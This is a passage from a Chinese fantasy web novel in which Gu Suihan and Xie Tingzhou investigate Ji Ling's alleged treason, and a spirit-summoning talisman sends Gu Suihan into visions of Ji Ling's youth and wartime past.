公主一路送她到了院门口。她关上院门时,顾岁寒抵住了门扉,公主感到了手上的阻力,不由得惊讶抬头。
顾岁寒微微俯下身,直视着公主真诚道:“公主,韩尚书作为您的夫君,您夫妻之间到底如何我一介外人无权置噱。但是您的夫君为了自己的仕途,竟然将自己妻子的姐姐作为垫脚石,虽然大公无私,在下看来却是有些无情。”
“殿下慎重。”
无视姬漓微微震动的眼神,她伸手关上了院门,随后向来时的方向走去。
走到来时和谢停舟分别的那个中庭时,谢停舟还没回来,整个中庭静悄悄的,只有风过树梢时哗哗的响声。
顾岁寒不打算在别人府上乱走,但是在这里枯等也十分无趣。她四下里看看,踌躇了一下,转身向进门的地方走去。
一出府门,人声便多了起来。那门童似乎还在里面没有出来,顾岁寒不禁纳罕——这尚书府上的仆从也太少得出奇了,似乎也不是十分训练有素的样子。
镇北侯府上的佣人不多,顾岁寒还勉强能理解,那是因为宋安澜和姬昀两个人平时都不怎么在京中,而且在行伍中呆惯了,凡事都亲力亲为,自然也不怎么习惯被人伺-候,所以府上之雇了一个帮忙洒扫做饭的老仆。但这韩尚书却是奇怪,府上有个金枝玉叶的公主,而且还常常有换花这样费时费力的大活,她此次拜访一路过去也没见到几个下人。
难不成这韩玉青也是个立身持正的勤俭君子?
门外的马车还停在原地,不过那马却是拉了一地粪蛋,可谓是臭气熏天。顾岁寒抽了抽嘴角,轻轻一挥手带起一阵清风,将那些粪球都推到墙根的草丛里去了。
这些天她忙着重新捡回手上的功夫,一些简单的法术也捡回来不少。有能力总是让人安心的,顾岁寒暗自满意,决定改天挑个人少的时机练练御剑试试。她曾见宋安澜使出来过,堪称动若雷霆,十分迅疾,看得她也心生向往。
什么时候才能恢复到失去记忆前的样子呢,她有些发愁。每每看蒋奚用一种看偶像一样的眼神看着自己,说她之前如何如何英明神武,她都感到一阵心里发虚——她觉得自己并没有蒋奚以为的那样无所不能。
记
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忆的缺失在她的心底开了一个巨大的口子。有时她觉得这世上的一切都是一个为她编撰的话本,知情-人们看着她一个无知的局外人在里面茫茫然地盘旋。
她沿着尚书府的墙根慢慢走,很快就走到了姬漓住的院子的后墙。她回头估计了一下从尚书府正门到这里的位置,发现这韩府恐怕也没有叠加如今京中时兴的那些空间阵法。
真是一个奇怪的府邸。充满传言的男女主人之间的关系、空空荡荡的府邸、总在更换的花朵……处处透着奇异的气息。
正想着,正门口那里传来一阵响动。顾岁寒看过去,发现是谢停舟出来了。谢停舟看见她,似乎也松了口气:“府中没见到执棋,在下还以为出什么事了呢。”
“怎么会。”顾岁寒朝他走了过去。这次谢停舟走到马车边倒是知道等她先上车了,小八殷勤地把车梯架好,顾岁寒上了车,坐在了来时的位置上,谢停舟紧随其后,一阵幽幽的松木香随即充满了车厢。
“好香。”顾岁寒随口说道。闻言,谢停舟闻了闻自己的袖口:“应当是韩尚书书房中焚的香,味道确实比较浓郁。”
顾岁寒诧异地挑起半边眉毛:“好独特的品味,我以为当今士族都会喜欢淡雅一些的气息。”
谢停舟摇摇头:“在下许久不在京中,也不太清楚。不过据在下所知,韩尚书府中燃的这种香叫‘贪欢’,早些年曾经在京中流行过,不过后来那制香的匠人因故返乡,这香在京中也就渐渐绝迹了。在下今日还特意问了韩尚书一嘴,韩尚书说这香是姬漓公主按旧香方自己试着调的。”
“公主既然愿意费心给尚书调香,那夫妻关系应当不错啊。那之前闹得沸沸扬扬的尚书苛待公主一事到底又是怎么传出的呢?”
“这是公主家中私事,在下也没多问。”谢停舟看起来有些为难,“不过阿泠一案,在下倒是问了不少。”
顾岁寒坐直身子,以示洗耳恭听。但谢停舟神色几番变幻,都没吐-出半个字来,最后只是泄气道:“这韩玉青……狡诈如狐,不好相与。”
顾岁寒皱眉:“何出此言呢?”
“我从当初他弹劾阿泠一事入手,问他明明早数日便拿到了所谓证据,为何压到北军压境才检举。”谢停舟有些恨恨地咬着自己的下嘴唇,“但他说他觉得这信来路蹊跷,而且阿泠多年清名,他也不相信此信出自阿泠之手,直到最后东窗事发,他觉得宁可错杀也不能放过,才将信拿出来公之于众。”
“很合理的理由啊。”顾岁寒点点头,“有什么问题呢?”
“对,就是因为没有问题才……才……”谢停舟几乎是咬牙切齿了,“我又问了他几个旁的问题,他都答得滴水不漏。最可恨的是,我告辞离开的时候,他同我说,说……”
他模仿着韩玉青彬彬有礼的语气:“将军作为姬氏的未亡人,偏心姬氏无可厚非,在下无权置噱。但是在下也想提醒将军,当初在下检举姬氏时,只是抱着只怕万一之心,将姬氏扣于宫中,可姬氏后来却私自逃离,畏罪自戕,哪怕自戕之前有所谓鸣冤之辞,也是宋将军一面之词,不可尽信。谢将军查案之时,可千万要多加小心,可别真把姬氏一案坐实,把自己卷进去才好。”
谢停舟没有说的是,当时他听完韩玉青的话,气得从侧首太师椅上拍案而起,却看见韩玉青逆光站在主位之上,仿佛早料到他会发怒似的,微微笑道:“谢将军用情至深,在下感佩。之前在下私以为,姬氏无甚功绩,将军在西南边陲却是立功累累,想来二位婚约不日便会解除,没想到并非如此。将军平日文质彬彬,为了姬氏居然也会有如此感性一面。”
“在下奉劝一句,姬氏仗着父兄功绩,多有尸位素餐之举,将军若是爱护羽毛,那姬氏绝非良配。”
8. 第七章 唐多令 一
顾岁寒若有所思:“按这韩玉青的意思,他倒是很笃定姬泠一定有罪。”
“绝对不可能。”谢停舟坚持道,“阿泠真的没有理由这么做,她父母是大盛忠烈,她自小在边境长大,后来入了落棋阁也一直在为国效力,完全没有叛国的动机。退一步讲,哪怕她真的因为某些连我和宋将军都不知道的原因叛国,她也完全没有理由把通敌的信件带回京中的公主府。她执掌着落棋阁青州的分舵,那一片的情报网几乎全在她手中,反倒是南都附近的不太受她掌控,她没有必要冒这个险。”
虽然谢停舟这个人显然是关心则乱,但是说的话大抵还是有道理的。还是那封信。只要能证明信上的问题,那么姬泠叛国一事可谓是迎刃而解了。
顾岁寒斟酌了一下,把姬漓说的生日宴那天的事挑挑拣拣和谢停舟说了。当然,删减了姬漓主观怀疑谢停舟的那一部分。
谢停舟听完也是皱起了眉头,顾岁寒发现这人眉间已经有了一点川字纹的苗头,可见平时恐怕时常多虑多思。似乎是回忆了许久,谢停舟才犹疑着开口:“阿泠让我叫公主去书房确有其事,但是我不太记得具体的前因后果了。现在想来,我当时似乎下意识以为阿泠是叫公主去劝她与韩尚书和离的。”
没想到事情绕了一-大圈又回到了公主与韩玉青的感情问题上。顾岁寒有些茫然:“啊?”
“对,”谢停舟不知想起了什么,表情笃定了起来,“那天阿泠和灼烨两人同过二十九周岁的生辰,我们几人都很开心,关上门在阿泠府上热闹了很久。上午晚些时候,公主和韩玉青过来了,但当时韩尚书表情并不好看。进门的时候,公主还陪着笑说了一句‘哎呀,没想到生辰宴已经开始这么久了,怎么都没人叫小妹’。”
谢停舟的回忆中,当时作为宅邸主人的姬泠听到了这句话,很是诧异地看向了宋安澜,脱口而出:“安澜,你没跟阿漓说吗?”
宋安澜看上去更吃惊:“不对啊,我把请柬递到尚书府上了……”
一句话说到最后,她仿佛意识到了什么,目光移向了面色不虞的韩玉青,声音渐渐低了下去。原本还不明所以的姬泠听到“尚书府”三字,哪怕再迟钝也明白了是韩玉青截下了消息,脸色不由得沉了下去。
她素来偏袒自己这个妹妹,当场就要发作。姬昀见势不妙,压低声音喊她:“檐雨!”
檐雨是姬泠的表字,平时很少被喊,一喊就指定是正经事。姬泠也知道韩玉青是朝中年轻文臣的首脑,现在发作未来朝中不好收场,只好压下脾气,咬着牙说:“是我疏忽了。阿漓,快来这边坐,今天没有外人,咱们好好说说话。”
姬漓看了一眼韩玉青,有些犹疑地走了过来。走到近前时,姬泠伸手一把抓住了她,让人坐到了她与宋安澜中间。
姬漓端庄惯了,身上各色珠钗有不下两斤,被姬泠这么没轻没重地一拉顿时惊呼一声,整个人稀里哗啦地掉了下来。姬泠也不嫌她身上那些劳什子硌手,将人半搂半靠地抱在了怀里:“今天特意准备了你喜欢的乳酪,你尝尝看?不过我感觉不是很甜,不知道你觉得怎么样。”
姬漓依言拿过羹勺尝了一口:“唔……好吃。”
姬泠不轻不重地在她后背打了一下:“就会说好吃。”
姬漓弯起眼睛,咯咯笑了。远处的韩玉青看着这姐妹和乐的一幕,面色愈发差了。姬昀用眼神支使了谢停舟一眼,让他去招待好韩玉青。
吃完了那碗乳酪,姬漓就推脱了姬泠回到了韩玉青身边。姬泠虽然想留,但还是摸不清自己的妹妹的心意,最终没有阻拦。
韩玉青看到妻子回来,脸色好了不少。两人席间拉着手互相依偎,似乎也十分甜蜜。谢停舟看得有点羡慕,不过侧头看了姬泠一眼,发现她似乎在心不在焉地走神,一副食不知味的样子,最终也没有出声打扰。
直到席间姬漓以多饮为由告退时,姬泠才如梦方醒似的,喊了他一声:“阿辞。”
谢停舟单名一个辞字,但是他起字早,所以名很小时就不用了,现在也只有姬泠会这样喊他。她喊他时咬字轻轻的,两个很清脆的音仿佛在嘴里轻轻碰撞了一下似的,听得谢停舟从尾椎骨麻到后脖颈。他连忙应道:“我在。什么事?”
接下来的故事就是顾岁寒从姬漓那里听来的版本了。顾岁寒问:“所以当时姬泠确实去书房等姬漓了吗?”
“我不知道。”谢停舟迷茫地摇头,“我只知道后来她离席了,但是那时我被姬将军叫走了,所以不知道她具体去哪了。”
“她为什么要让你帮她传话?”顾岁寒不解,“那时候她有什么走不开的事吗?”
“应该……没有吧。”时间太久了,谢停舟的记忆也出现了偏差,“当时阿泠应该是在喝酒的。”
既然没有什么事,那么为什么要让谢停舟代为传话呢?如果真的有事要聊,那么为什么最后又没有去书房,而是让独自一人的姬漓发现了那些通敌的信件……
刹那间,顾岁寒忽然灵光一现:“等等,有没有可能,姬泠是故意让姬漓发现那些信的!”
“你想想看,”顾岁寒双眼放光,“那些信出现得蹊跷,而且有姬泠自己的私印。姬泠作为黑棋,基本的警觉应该都是不差的,一般人很难拿到她随身带的印。那么,会不会那些信就是姬泠故意伪造、放在那处,让姬漓发现的?”
谢停舟皱眉听罢,却不是很赞同:“或许执棋说得有几分道理,可阿泠为什么要让公主发现这些信?假设阿泠怀疑公主或者韩玉青的清白,大可以用别的方法试探,那些信上可是明明白白地写着落棋阁的地址和潜入方法的,假若公主家中真有猫腻,姬泠不怕他二人看到后机密当真泄露吗?”
确实,此言不假。顾岁寒渐渐冷静了下来,从头开始梳理这生辰宴的事,却是越理越乱,毫无头绪。顾岁寒有点丧气道:“要是有能和亡者交流的方法就好了,直接找姬泠问问一切不就迎刃而解了吗。”
紧接着她又自己推翻了自己:“不对,她自己恐怕也不知道。不然她被软禁宫中那会早就喊冤了,也不至于跑大老远自戕证清白啊。”
这话恐怕说得有点不尊重亡者,谢停舟的脸有点发绿,不过还是接道:“有的。”
姬泠一时没反应过来:“什么有的?”
“有和亡者对话的方法,用招阴符即可,不算困难。”谢停舟不知从哪取出了一张递给她看,一边嘴上继续说,“但是阿泠新死时我试过了,不行。招阴符的原理是循着生者气息寻魂,但是青州当时刚刚停战,未消散的亡魂太多,我找不到。”
“但是我找回了另一样东西。”
谢停舟从衣襟上方伸手进去,掏出了一个小小的琉璃瓶,瓶子里有两团小小的火苗似的光源,互相缠绕在一起,微微跳动着。瓶身上刻满了密密麻麻的符咒,光就从符咒间透出来,折射出璀璨的光辉。
那瓶口绑了一根细细的银链,项链似的挂在谢停舟脖子上。他将瓶子拿给她看,顾岁寒小心翼翼地将瓶子捧在手中,感觉瓶子上仿佛有冰似的,冷到了人心里:“这是?”
“订婚时,我和阿泠各自分出了自己魂魄的一部分,放在对方身上。”见顾岁寒看清了,他就将瓶子小心翼翼地收了回去,妥帖地放在了心口,“这样一方去世时,携带的另一方的魂魄就会回到原主人身上。我和阿泠分隔两地,中间有大结界相隔,固然可以用符咒传书,但总归不甚方便。”
“有了这一小片魂魄,我们中有一人殉国时,另一方也会知道。”
所以,召不回亡魂的他,在千里迢迢之
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外收到了来自妻子的讣告。
“不过也不止是这么简单的用处,”见顾岁寒表情震动,谢停舟微微一笑,神情中似乎还有些狡黠,“魂魄碎片和原主人中是有一些联系的。后来和魂魄碎片相熟了之后,还能通过魂魄碎片和原主人聊点简短的天,拉拉手什么的。”
等等,所以谢停舟的意思是,这俩人顶着魂魄不全的风险,就是为了搞搞小情趣外带互送讣告?
这是什么神奇的癖好?没有未婚夫的顾岁寒摸不着头脑。
她将手中那张招阴符翻来覆去地看了一圈,谢停舟见她感兴趣,问:“执棋喜欢?喜欢的话在下回去多画几张。”
“哦,不必了。”顾岁寒将招阴符还了回去,“我只是在想这符怎么用。”
“哦,很简单,”谢停舟接过符,咬破了指尖,将心头血从符头一划到底。刹那间,顾岁寒感觉那符上仿佛有什么东西贯通了一样,散发出浓浓的阴森气息来!
谢停舟喝道:“八方魂灵,应我召令!”
再之后的事,顾岁寒就不知道了。
谢停舟最后一句召令出口前,她就隐隐感到了一种眩晕感。可还没等她喊停,一阵纯粹的黑暗就向她袭来。
视野飞快地向下倒去,她失去了意识。
冥冥中,她走过了很长一段黑深的狭道,面前忽然豁然开朗,来到了一处学堂外,里面的半大少年们正摇头晃脑地读书。正读得火热,一个高一点的少年从远处走来,无视了在门外踌躇的顾岁寒,径直走了进去,高声宣布:“诸位,今日先生有事,不能按时讲书,先给大家派了试卷。诸位请在一炷香内完成,不要互相传看。”
这少年把试卷派发下去之后就又匆匆走了。这群正顽皮的孩子自然不可能老实做卷子,有好几个人都在座位间窜来窜去。顾岁寒好奇试卷内容,仗着此间人似乎都看不见她,随便挑了个小姑娘,在她旁边弯着腰一起读卷。
这卷上的内容似乎是将一些旧书上的名句摘了下来,要这群小少年讲自己的理解。这小姑娘的学业看起来做得不错,卷上的题都答了七七八八,答的内容也颇有见地,只有一句话叫她踌躇半晌。顾岁寒定睛看去,发现那是《诗》上的四句:“山有扶苏,隰有荷华。鸳鸯于飞,毕之罗之。”
这四句都是《诗》上的没错,可前后两句是一首里的吗……顾岁寒对自己的记忆力产生了怀疑,这小姑娘似乎也陷入的同样的困境中。她抓着笔杆半天不敢下笔,那香却是越烧越短。直到最后她终于有些坐不住了,轻轻捅了一下旁边同样坐立不安的一个小男孩:“喂,喂,谢辞?你做完了吗?五题那两句《诗》,该当何解?”
谢辞这个名字莫名耳熟。那男生不知是不会还是怎得,闹了个大红脸:“我、我也不知道啊……”
结结巴巴地还没说完,一个一直在学堂里笑闹的高个姑娘不知什么时候凑了过来,鬼鬼祟祟道:“这两句还不简单!《诗》讲比兴,这两句前面以景起兴,后面又是鸳鸯又是这‘之’那‘之’,什么‘子之于归’的,肯定是说男女两情相悦啦!姬泠你个呆子,这也要问!”
这句话不知戳中了谢辞的哪桩心事,脸愈发红得滴血;这厢顾岁寒听见小姑娘的名字,如遭雷劈般怔在原地。
这是姬泠!那这里的孩子们……
刚刚没留心,如今细细看去,才发现此处好几个少年都已经隐隐有了长大之后的故人模样——刚刚那皮猴似的姑娘是宋安澜,另一个和她五官相似的小少年恐怕是她弟弟、当今的圣上宋礼;坐没坐相的是姬昀;大红脸男孩是谢停舟;而刚刚那个送卷子来的少年——
顾岁寒艰难地回忆了一下擦肩而过时看到的侧脸,发现那恐怕就是年少时的她自己!
等等,自己小时候脸这么臭吗!
9. 第八章 唐多令 二
貌似回到了过去的顾岁寒一点也不着急,反而饶有兴致地观察起周围来;另一边,小小的学堂里依然是一番鸡飞狗跳。小姬泠啃着笔尾巴,显然还在忧愁那句诗应该怎么解。可还没等她忧愁出个章程,那柱香烧到了底,最后一点香灰“咔嚓”落尽了炉里。
一炷香时间到了。
小时候的顾岁寒跟身上有个小钟似的精准踩点去而复返,板着脸收走了皮猴们的卷子。收到姬泠的卷子时,她瞟了一眼卷上的一片空白,很明显地皱了一下眉头。
小姬泠一直缩着脖子悄悄看她,见她皱眉,顿时瘪了瘪嘴,肉眼可见地坐立不安了起来。但顾岁寒看了看卷子,最后什么也没说,收齐之后数了数,就头也不回地走了。
顾岁寒对小时候的自己实在是太好奇了,于是扔下了一屋子小兔崽子们就跟了上去。不得不说她自己小小年纪看上去就已经一把年纪了,明明看上去比屋里那帮进化未完全的小闯祸精大出去没多少,整个人的气质却已经很像个大人了。
正当她跟在后面对自己“成熟”的背影评头论足时,忽然一阵和她方才很是相似的眩晕袭来,顾岁寒再一次失去了意识。等她感觉双脚落地踩到实处时,周围依然换了一方天地。
甫一落地,她就被朔风糊了一脸,感觉面皮都要被这刮骨的寒风吹走了。白毛雪撒盐似的劈头盖脸地砸了下来,四处都是白茫茫一片。还没等她看清周围的景象,一个穿戴轻甲的年轻姑娘就急匆匆地走了过来,径直穿过了懵懂的顾岁寒。
顾岁寒顺着她留在雪地上的脚印跟上她,就见她撩开了一处营帐门口的挂毯径直进去了。营帐门口值守的亲卫显然习以为常,连目光都没有斜一下。
顾岁寒已经习惯了这种游魂般的生活,并获得了新的意趣——她在两个亲卫面前转了一圈,做了个大大的鬼脸,享受了一把如入无人之境的快乐,然后学着那姑娘的动作大摇大摆地穿墙进了帐。
谁知她刚进帐,就看见了惊悚一幕——刚刚进来的年轻女子将手伸到自己耳根斜下方,摸索了一番后竟是生生将自己脸上那张十分英气的面孔“撕”了下来!
好在顾岁寒也不是没见过世面的人,很快就意识到了这是所谓的“人皮面具”,学做这个是黑白棋都必须要学的手艺之一。但印象中顾岁寒也是第一次见到做得这样逼真的,阁中很多长于此道的棋子用人皮面具时都不太敢露出自己的耳后,因为那里是面具与真皮的连接处,但凡有懂的人细看就很容易露出马脚。
但是这个姑娘——顾岁寒仗着别人看不见自己,围着她转了一圈,啧啧称奇——刚刚她是扎了个高马尾的,耳朵脖子的皮肤都暴露在外,但顾岁寒错身而过时完全没有注意到这人没有用真脸。
面具下的人相比自己英丽的假面长得就平凡多了,属于那种长得很“平均”的姑娘,不美不丑、不胖不瘦,长得固然很顺眼,但是路上擦肩而过都不会多留心的那种。
如果非要说她有什么特色的话,那就是她的眉毛。
不同于她偏向平和温婉的其他五官,她的眉毛极长,可谓是斜飞入鬓;形状上有点像剑眉,却又比剑眉细不少,像两柄苗刀镶在她脸上,为她增添了不少锐意之色。
顾岁寒被她的眉毛吸引了目光,不由得看入了神,越看越觉得这眉毛熟悉,不知道在哪里见过。
这姑娘摘了面具之后似乎整个人都自在了不少,在大帐里环视了一圈,看上了放在边角的一件脏兮兮的袍子,十分不讲究地整个人摔了上去。
姑娘似乎是累极了,脑袋刚沾上地,呼吸就慢慢长而均匀起来,期间有好几批人来帐外找人,都被外面的亲卫挡了回去。正当顾岁寒思考自己要不要出去看看别处时,那帐帘却忽然大敞开来,一个穿着骑兵甲的壮实女人裹着寒气走了进来,正是宋安澜!
看到宋安澜的瞬间,顾岁寒忽然有了不详的预感。她的目光缓缓地、僵硬地移向了躺在地上的姬泠,下一秒,她就听见宋安澜说出了她最不想听到的那个答案。
她喊:“姬——二——水!姬泠!从我的大氅上起开!”
不是吧,这真是姬泠?
顾岁寒感觉自己的自信心咔嚓一声裂开了。
平心而论,她对自己认人脸的能力还是相当有把握的。但她前脚刚见过人小时候,后脚就认不出同一个人长大之后了!
她目瞪口呆,努力回忆刚刚见过的那个小姑娘,试图找到证据证明这俩人确实不是同一人,然后她失败了——细细想来,面前这姑娘和小姬泠五官确确实实有相似之处,这俩人千真万确就是一个人!
她没忍住怀疑:“当初张首晟就是因为这张脸才招她进的白棋吧,做卧底简直得天独厚啊,被卧底的底-裤颜色都被人知道了,都不见得想起来人长什么样吧!”
听见人叫,躺地上的姬泠睁开了眼,手还在揉眼睛,人就已经站起来了:“抱歉,这两天昼夜不分,实在是太困了。”
宋安澜看起来也很疲惫,整个人脸色青灰,眼睛里也没什么神采。她见人醒了,有气无力地挥了挥手,拖着步子把自己摔到了主位上:“没事,跟我还报什么歉——说正事,二水,有什么新消息吗?”
姬泠摇了摇头,走到宋安澜身边,展开了她桌上的舆图,修长的手指点过了上面的几个地方:“我估摸着酿姐的脚程,派人找了这几个地方,自己也都去过了,没消息。再往里走就是归雁台管得严的地盘了,附近有个归雁台的分舵,据说姓沈的这两天在,我不敢冒进,就领着人先撤回来了。”
“沈和正?雁主这两天为什么会在?”宋安澜和姬泠对视一眼,均在彼此眼中看到了隐隐的不安。
姬泠轻声说:“……会不会,我只是一个猜测,会不会酿姐去了他们那边?”
宋安澜像是被这可怕的猜测吓到了,猛地站了起来在帐里转了一圈:“……不可能,只是因为萧凌飞?酿姐不是这样的人,你不要用这么草率的猜测污蔑她。”
姬泠解释:“我也只是猜测……”话音未落就被宋安澜打断了,她疾言厉色道:“连猜测都不允许!姬檐雨,你知道你在说什么吗!那可是我朝开国第一功臣,污蔑功臣是要判罪的!”
姬泠咬住了下-唇,轻声咕哝了两句,但是在场的两个——算上堪称偷听的顾岁寒——都没听清她说的话。但从她俩的对话中,原本一头雾水的顾岁寒渐渐明白了这是哪一件事。
旧历十八年,当时的镇北军——那时还叫北安军的主帅宋酿突然失踪,当时的副将宋安澜即刻封-锁了消息,可北周还是想闻到了生肉的狼一样捕捉到了北安军中的不安氛围,直扑而来。
北安军措手不及,损失惨重,宋安澜临危受命,带着一支小队在北邙山下埋伏多日,袭击了当时北周军的主帅邓飞英和数名精锐,致使北周军大乱,这才让北安军获得喘息之机。
但就顾岁寒四处漏风的记忆和她苏醒后蒋奚给她讲的一些本朝旧事来说,民间对这场不算光荣的战争也是众说纷纭。其中讨论得最热烈的便是宋酿到底是怎么莫名失踪的。
宋酿其人,现在很多人提起来都会说她是古往今来第一女战神——她是先帝的第一个孩子,前朝摇摇欲坠时,先帝为挽大厦将倾,四处征战,当时年纪还小的宋酿就跟着自己的父亲在军帐中长大。成年之后,宋酿逐渐展露自己的军事天赋,开始领兵征战,百战未尝败绩,到最后甚至成为了一方主帅。
可以说,先帝之所以能守下南半江山,有一半自己大女儿的功劳。
也正是因为有宋酿军功在身,本朝军中女官甚多,但大多是祖荫在前,少有庶民。但这已经是军中巨大的改变,宋安澜和姬泠便是这改变的一部分参与者。
但不论如何,朝中民间对女子从军一事
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一直有争端,从前有宋酿的实绩压着,这样的讨论就算有也也没能掀起大风波。但宋酿失踪的消息传回朝中之后,这样的争论一下子就到了顶峰。
——因为,据说宋酿是因为萧凌飞才失踪的。或者说,她是叛国了。
这等密辛本不该在宋安澜的严防死守之下被千里之外的南都知道,但它就是像长了翅膀一样飞回了都城,掀起了巨大的浪潮。
萧凌飞乃是北周的监军皇子,在同辈中排行第三,所以民间一般俗称“北三皇子”。就在十八年的夏末秋初,南北两军进行堪称“日常”的小摩-擦时,萧凌飞贪功冒进,被北安军俘虏,由姬泠负责押送回京城。这本该是一件天大的喜事,但押送的队伍刚刚走了不到一天,就在出发那天的中午,萧凌飞死了。
押送的士兵们听见动静撞开房门时,就看见本来贴身看管萧凌飞的姬泠呆呆地站在一边,手上的佩剑“霜尘”还在滴血。萧凌飞一剑贯胸,当场气绝。
南北两朝谈判的重要筹码被杀,姬泠自然被召回问询。姬泠在百官面前解释是萧凌飞莫名挣脱了束缚,她为自保才出此下策,但实际情况只有当时屋里的两个人才知道了。
这件事最后勉强算是不了了之,姬泠被召回问询得匆忙,好多事都没来得及交代,青州落棋阁分舵直接乱成了一锅粥,只好先匆匆回去处理。最重要的是她回京之后宋酿震怒,连上了好几道折子让朝中把人放回来。
当时所有人都以为是宋酿在军中诸多决策都依赖当时还是军师的姬泠,所以对她颇多回护。
但事情并不像众人以为的那样。姬泠被宋酿叫回北安军之后,就莫名失踪了十二天之久,直到中秋都过了三四天才又出现在了北安军中。又过了三四天,宋酿就从北安军中消失了。
一时之间,众人什么猜测的都有,流言蜚语四起。最广泛的一种传言就是,宋安澜其实爱上了萧凌飞。北三皇子被杀,宋安澜心生怨念,因而离军出走。
宋安澜听说这种流言之后当场掀了桌子,要追查传谣的人——当然,最后没能找到。倒是落棋阁有个分舵的白棋在宋酿失踪当晚见到了疑似宋酿的身影,姬泠顺着这条线索追查了一番,却是连宋酿的头发丝都没找到。还没等宋酿找回来,北安军就以皇子被杀为由,悍然发兵。
看来她所见到的,正是当时宋安澜和姬泠两人寻找宋酿的场景了。
训斥姬泠的话刚一出口,宋安澜就意识到自己话说重了,连忙找补:“抱歉,阿泠,我是这两天太急了……说起来我一直没问你呢,你失踪那段时间去哪了?是不是有什么有关阿姐的事没来得及和我说?”
姬泠却是很明显不愿意多说,摇了摇头,含混地说:“没什么,不是什么很重要的事。你这两天斥候派得勤一点吧,我总担心要出事。我先回阁里了,看看还有没有什么酿姐的线索。”
说罢也没等宋安澜答应,她闷头掀了帘子出去了,宋安澜“哎”了一声想伸手挽留,最后还是悻悻地放下了手。
顾岁寒跟在姬泠后面,看她往城门的方向走。外面的雪停了,风还是很大,北风卷着雪粒掀起一阵阵白纱帐似的旋风。顾岁寒越走越觉得此处城墙眼熟,仔细想想,这里居然就是青州,传闻中姬泠自戕的地方。
原来她魂飞魄散的地方,就是她一直镇守的城池。
走着走着,顾岁寒忽然觉得姬泠不太对劲,佩了肩甲的双肩一阵一阵地抖。加快脚步绕过去一看,才发现她居然哭了。
只是这姑娘哭也没什么声息,连倒气都不怎么倒,只是豆大的泪珠一颗接着一颗的掉。不知为何,看着她掉眼泪,顾岁寒感觉自己也有了同感似的,心里一阵接着一阵的,像有小虫的伶仃脚爪在挠似的难过。
就在这难言的难过中,顾岁寒晕倒后第一次产生了这个疑问:她是为什么回到了过去的时空中,见证了这些故事呢?
10. 第九章 唐多令 三
这自然不可能是她自己的记忆——从刚刚姬泠进帐到现在为止,整个场景中从未出现过第三个人。也就是说,这件事发生的时候她不可能在现场。而且她也没有附身在任何一个人身上,说明她也不是借了别人的视角来观察这场故事。
顾岁寒百思不得其解,眼瞅着姬泠要进城,只好先放下了疑问,转而一心一意跟着姬泠,看她下一步动作。
姬泠进城门之前就又把面具带了回去。可能是天气酷寒,青州城的大街上没什么人,显得有些冷清。她目标明确地走向了一处铁匠铺,扯着嗓子问那守铺子的老头:“喂!钟叔!我上次订的那把长刀怎么样了?”
钟叔抬头见是她,眉开眼笑,老迈而干瘦的脸褶皱了起来,叫人几乎分辨不出他的五官到底在何处:“哟!是您!长刀马上就好了呀,您要是不急的话进来看看?”
姬泠点了点头,两人就走进了铺子后面的屋里。顾岁寒连忙跟上,正在心里纳罕这姬泠不慌不忙地来逛铺子干什么,下一脚就跟着这俩人被“吸”进了房门。等她从再度站稳脚跟,就发现自己到了一处小院中。
原来刚刚那个铁匠铺子是一处缩地千里阵的“阵头”,一开那门,人就会被送到这处院中。一进院子,那老头顿时腰也不弯了、气也不虚了,那张老态龙钟的嘴里发出了青春正茂的声音:“侍棋,我们的棋又冒险往远‘下’了一些,但还是没找到宋帅的踪迹。”
原来这时候姬泠就已经是侍棋了。顾岁寒快走了两步跟上他俩,仗着别人看不见自己几乎是贴在人嘴边偷听。就见姬泠疲惫地点了点头示意自己知道了,又摇了摇头:“让大家先撤回来吧,再查也没什么意义了。”
那“老头”察言观色,接嘴道:“侍棋的意思是……对了,侍棋,要换药吗?”
“换。”姬泠言简意赅,“昨晚我就感觉伤好像又裂开了,真是的……不让你们再往远探是因为我觉得这事不太对,而且恐怕很快就要开战了,先把网都收回来吧。先去药寮。”
姬泠脚下一转,那“老头”下意识想跟,姬泠走了两步就停了下来,似笑非笑地看着他:“我换药你跟过来干什么?怎么,心疼你侍棋我?”
那“老头”的脸“蹭”的一下红了——顾岁寒也很吃惊这树皮似的老脸居然能体现“脸红”这个概念——他健步如飞地跑远了,一边跑一边喊:“我我我,我去给您找别人!您别急!”
姬泠站在原地看着那落荒而逃的干瘪背影,不由得失笑似的摇了摇头,转头走了。顾岁寒跟在她后面进了一处小屋。刚一进门,姬泠就脚下脱力似的晃了两步,顾岁寒下意识想去扶,结果双手却穿过了姬泠的身体,这才想起来自己是个什么都碰不到的透明人。
好在姬泠晃了两步之后就站住了,扶着柜子缓缓坐到了另一边的榻上,长长出了一口气。下一瞬,她就突然开始宽衣解带起来,顾岁寒下意识想回避,脚下一动却又生生刹住了。
“不对啊,”她心说,“我和姬泠都是女的,我回避个什么?”
这样想着,她就又心安理得地看起了姬泠宽衣。但那厢姬泠的衣服脱得并不顺利,尤其是脱到中衣时,她的表情都微微扭曲了一下。下一刻,她的侧脸微微绷紧,似乎是咬紧了牙一用力,那衣服便发出了黏腻的撕裂声,成功被她脱了下来!
听到声音的时候顾岁寒就汗毛一炸。姬泠的中衣里绑了束胸,正面看不出来有什么伤口,只能看见她流畅的肌肉纹理。顾岁寒就绕到了她背面,这一看不打紧,饶是她并不怕伤口、鲜血之类,也被狠狠一惊。
姬泠的背上有纵横交错好几道伤口,表面贴的几道止血祛味的符咒都已经被血浸-湿,很明显已经失去了它们原本的功用。
伤口看形状应该是鞭子一类的软物伤到的。其实这几道伤口都不算大,但是都已经有了发炎化脓的趋势,这才看上去触目惊心。顾岁寒正暗暗心惊,一个半大姑娘就掀帘进了屋,看打扮应该是个白棋。她看到姬泠光着上半身也是吓了一跳,连忙回身把帘子压好,这才急匆匆地走过来:“侍棋?怎么这么急着就把衣服脱了?”
“伤口开了,衣服压得难受。”姬泠尽量简短地说,手背过去点了点自己,“我感觉我不大好,你赶紧帮忙换个药。”
那姑娘顺着她的手转了过去,站到了虚空中的顾岁寒旁边,也是被吓得“哎呦”了一声:“侍棋,你怎么……哎呀,您是不是把衣服硬脱下来了?这衣服之前都粘伤口上了呀,硬撕会把本来好了的地方撕裂的!”
姬泠微微闭着眼,整个人都压-在了面前的小几上,闻言哀叫:“我知道的,算我求你了周姐姐,帮我先把药上了吧,真的冷。”
周姑娘看上去很想再多唠叨两句,但最后还是忍住了,只咕咕哝哝“知道还不多珍惜自己身体”,任劳任怨地坐下来给人上药,一边上药一边嘴上还不闲着:“我说侍棋,宋帅那么对你,你为什么还要帮宋小将军找她?干脆糊弄糊弄了事得了,这两天四处跑,伤口都好不了。”
